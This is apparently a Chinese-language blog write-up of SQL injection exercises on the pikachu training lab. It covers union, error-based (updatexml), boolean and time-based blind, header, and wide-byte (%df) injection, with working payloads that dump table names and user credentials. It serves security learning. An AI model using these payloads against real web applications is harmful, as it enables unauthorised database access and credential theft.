sql注入
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
上篇博客对sql注入的一些知识进行了学习:SQL注入学习
下面通过 pikachu 靶场对 sql 注入的几种方式进行测试
数字型注入
打开页面,可以看到对输入的内容进行了限制。
尝试随便选择一个数字进行查询,由于是 post 请求,url 没有发生变化。
用 burp 抓包,可以看到请求的数据。
发到 Repeater 模块进行测试,可以在 Params 处修改参数 id 的值比较方便。
已知是数字型注入,输入 1 or 1=1 直接测试, 可以看到,页面将所有 id 的信息返回,所以存在数字型注入。
接下来用 order by 猜解字段数。
输入 1 order by 1 ,不断增大 order by 后面的数字,到 3 的时候报错,得到字段数为 2 。
再用union 联合注入爆出当前数据库(把查询语句放在 ‘2’ 的位置):
1 union select 1,database()
得到数据库名为 pikachu
后面就是常规注入操作。
爆 数据库 pikachu 里的所有表名 (table_name):
1 union select 1, table_name from information_schema.tables where table_schema=‘pikachu’
就得到了这些表名。
选择一个表爆它的列名,这里选择 users 这个表。
爆 users 的所有列名 (column_name)
1 union select 1, column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’
得到表 users 的所有列名。
最后,爆数据,这里选择爆 username 和 password 这两个字段的数据:
1 union select group_concat(username) , group_concat(password) from users
就这样得到数据,数据经过了md5加密。
——
——
字符型注入(post)
打开页面,有一个输入框,直接注入即可,可以不用burp。
因为是字符型注入,直接输入:
1’ or 1=1 #
显示了所有 id 信息,由于是 get 请求,可以看到 url 中也包含了我们输入的内容。
开始注入语句,要把单引号前面哪个 ‘1’ 改为正确的 username ,不然页面无法回显。
这里用 lili 测试,猜解字段数:
lili’ order by 1
不断增大数字 1,直到 3 时页面报错,得到字段数为 2。
后面的操作就跟前面的一样。
爆当前数据库名:
lili’ union select 1,database() #
爆表名:
lili’ union select 1, table_name from information_schema.tables where table_schema=‘pikachu’ #
得到所有表名。
接着爆列、报数据,都是一样 union 联合注入的操作。
和其他题不同的就是要找闭合的不同方法,比如这里有个单引号还不能少了后面的注释符 ‘#’ 。
——
——
搜索型注入
打开页面,同样有一个输入框。
尝试输入 1’ ,出现报错。
根据报错信息,尝试闭合我们输入的内容:
1%’ or 1=1 #
成功回显所有 id 信息。
下面就只需要用同样的闭合方式配合联合查询进行,查字段数、数据库名、表名、列名、具体数据。
和前面的语句都是一样的,比如爆字段数:
lili%’ order by 1 #
——
——
xx型注入
看到输入框,同样先进行尝试输入。输入1’ 出现如图这样的报错。
根据报错信息,去尝试闭合:
1’) or 1=1 #
就成功回显了所有 id 信息。
后面又是和前面一样了,以猜解出的闭合方式配合 union 联合注入进行查字段数、数据库名、表名、列名、具体数据。
——
——
“insert/update”注入
先来到注册页面
出现报错信息。 这里输入的数据直接拼接入该sql查询语句中,存在着SQL注入漏洞。由于页面直接返回了数据库具体的报错信息,所以可以使用报错注入。
报错注入利用的是 updatexml()+concat() 函数的报错来获取信息。
构造语句:
lili’ or updatexml(1,concat(0x7e,database()),1) or’
刚开始我是这样输入的。
还是会出现报错信息。
把用户框上的 1’ 改为 1,再次进入,报错注入就成功了。
接下来用和前面爆数据库名一样的句式爆表名:
0’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0) or’
由于 回显的报错信息只能显示一行,所以需要用到 limit语句限制查询回显的信息行数为1。
修改语句:
0’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) or’
得到第一个表名,就这样修改 limit 后面的数字一个一个将所有的表给爆出。
爆列名,回显只显示一行同样需要用 limit :
0’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ limit 0,1)),0) or’
得到第一个列名,修改 limit 后面的数字一个一个将所有的列给爆出。
最后爆数据:
0’ or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or’
同样把数据一个一个爆出来。
再进入到个人信息界面
可以点击的地方是修改个人信息。
在修改界面先尝试随便填写,随便一项里加上单引号。
出现报错信息。返回了具体报错信息,大多能够使用报错注入。
构造语句爆数据库名:
1’ or updatexml(1,concat(0x7e,database()),0) or’
得到数据库名。
接下来就是和前面的报错注入相同,继续爆表名、列名和具体数据。
在 database() 的位置替换成其他语句。
——
——
“delete”注入
打开界面是一个留言板,在上面输入的内容都会被保存在下面的留言列表。
根据标题“delete”注入的提示,点击删除,并用 burp 拦截。
可以看到数据包中的 url 存在 get 请求。
发送到 Repeater 模块通过修改 id 的值进行测试。
加入单引号尝试得到报错信息,这里也是可以用报错注入,和前面的语句相同。
爆数据库名: 0 or updatexml(1,concat(0x7e,database()),0)#
——
——
“http header”注入
进去是一个登录界面,根据提示给出了账号 admin/123456
登录进去的界面是这样的,没有注入点。
刷新用 burp 抓包,发送到 Repeater 模块进行测试。
修改参数 User-Agent 的值,参数输入:’ or 1=1
根据报错信息,可以使用报错注入。
爆库名
’ or updatexml(1,concat(0x7e,database()),1) or’
爆表名
’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),1) or’
爆列名
’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ limit 0,1)),0) or’
爆数据
’ or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or’
——
——
盲注(base on boolian)
布尔型盲注页面只返回两种情况,yes 或 no 。
这里在搜索框尝试输入,已知都是这个回显,相当于 no 。
当输入lili’ and 1=1 #
出现第二中回显情况,相当于 yes 。
得知这里的注入闭合规则,单引号和井号在每条语句里不能少。
用 order by 猜解字段数:
lili’ order by 1 #
增大数字到 3 时,回显“ 您输入的username不存在,请重新输入! ”,得到字段数为 2 。
用length函数猜解数据库名称的长度:
lili’ and length(database())>=1 --+
慢慢尝试处数据库名的长度,再逐字符猜解数据库名:
lili’ and substr(database(),1,1)=‘t’–+
通过改变substr()函数里的数字逐字符猜解出数据库名的每一个字符,包括后面的查表名、列名也是这样。
还可以把字母换成ASCII码值,用 burp 抓包发送到 Intruder 模块快速得出结果。
比如查表语句:
lili’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))=115 #
发送到 Intruder 模块,选中ASCII码值,
然后再进行配置之后就可以进行爆破了。
根据结果的的长度可以找到不同的那一个就是爆破的结果,一个一个字符得出要爆出的数据。
——
——
盲注(base on time)
基于时间的盲注,无论输入什么信息页面都返回相同的信息,无法根据页面返回信息来确认真假,但可以通过页面返回信息的时间长短来判断页面是否成功执行了注入的语句。
打开界面,尝试输入,但是无论输入什么,只会返回这一个信息。
基于时间的盲注要利用 if() 函数结合 sleep() 函数使用。
猜解数据库名:
lili’ and if((ascii(substr(database(),1,1))=112),sleep(5),1)#
如果猜解语句中的ASCII码正确,页面就会加载 5 秒再停下,否则执行 sleep() 函数后面的 1 。
就这样慢慢一个字符一个字符去猜解,从库名到表名到列名到数据。
——
——
宽字节注入
MySQL时用PHP语言,而PHP中有 addslashes() 等函数,这类函数会自动过滤 ’ null 等敏感字符,用 \ 将它们进行转义。
如果我们使用宽字节字符如GBK 就能把两个字节的字符识别为一个汉字,在单引号前面加一个%df ,从而使单引号不被转义。
如:
’ 变成 ’ ,即%5C%27
加上 %df:
%df’ ,即%df%5C%27
宽字节注入的原理
数据库编码设置成 GB系列(不是指PHP页面编码,而是连接数据库使用的编码)
使用了转义函数,将GET、POST、cookie 传递的参数进行过滤,将敏感字符用 \ 进行转义。
如 addslashes() 、mysql_real_escape_string() 函数。
尝试在页面上无论输入什么都没有反应,一直是这一个回显。
url 也没有变化,所以应该是 post 请求,改用 burp 抓包,发送到 Repeater 模块。
输入:
1%df’ or 1=1 #
成功回显所有 id 信息
我这里用 order by 判断字段数的时候,也一直是那个 “username 不存在”的回显。
不过在增大数字到 3 时,页面出现了个警告,不知道算不算报错。总之也得出了字段数为2 。
接下来用 union 联合注入爆数据库:
1%df’ union select database() ,2 #
得到数据库名 pikachu 。
爆表名:
1%df’ union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
这里database() 的位置本来可以用查出来的 ‘pikachu’ ,但是由于单引号会被转义,所以采用嵌套语句。
爆表 users 的列名:
1%df’ union select (select group_concat(column_name) from
information_schema.columns where table_schema=(select database()) and
table_name=(select table_name from information_schema.tables where
table_schema=(select database())limit 3,1)),2#
爆 username 和 password 的具体数据:
1%df’ union select (select group_concat(username,0x3b,password) from users),2#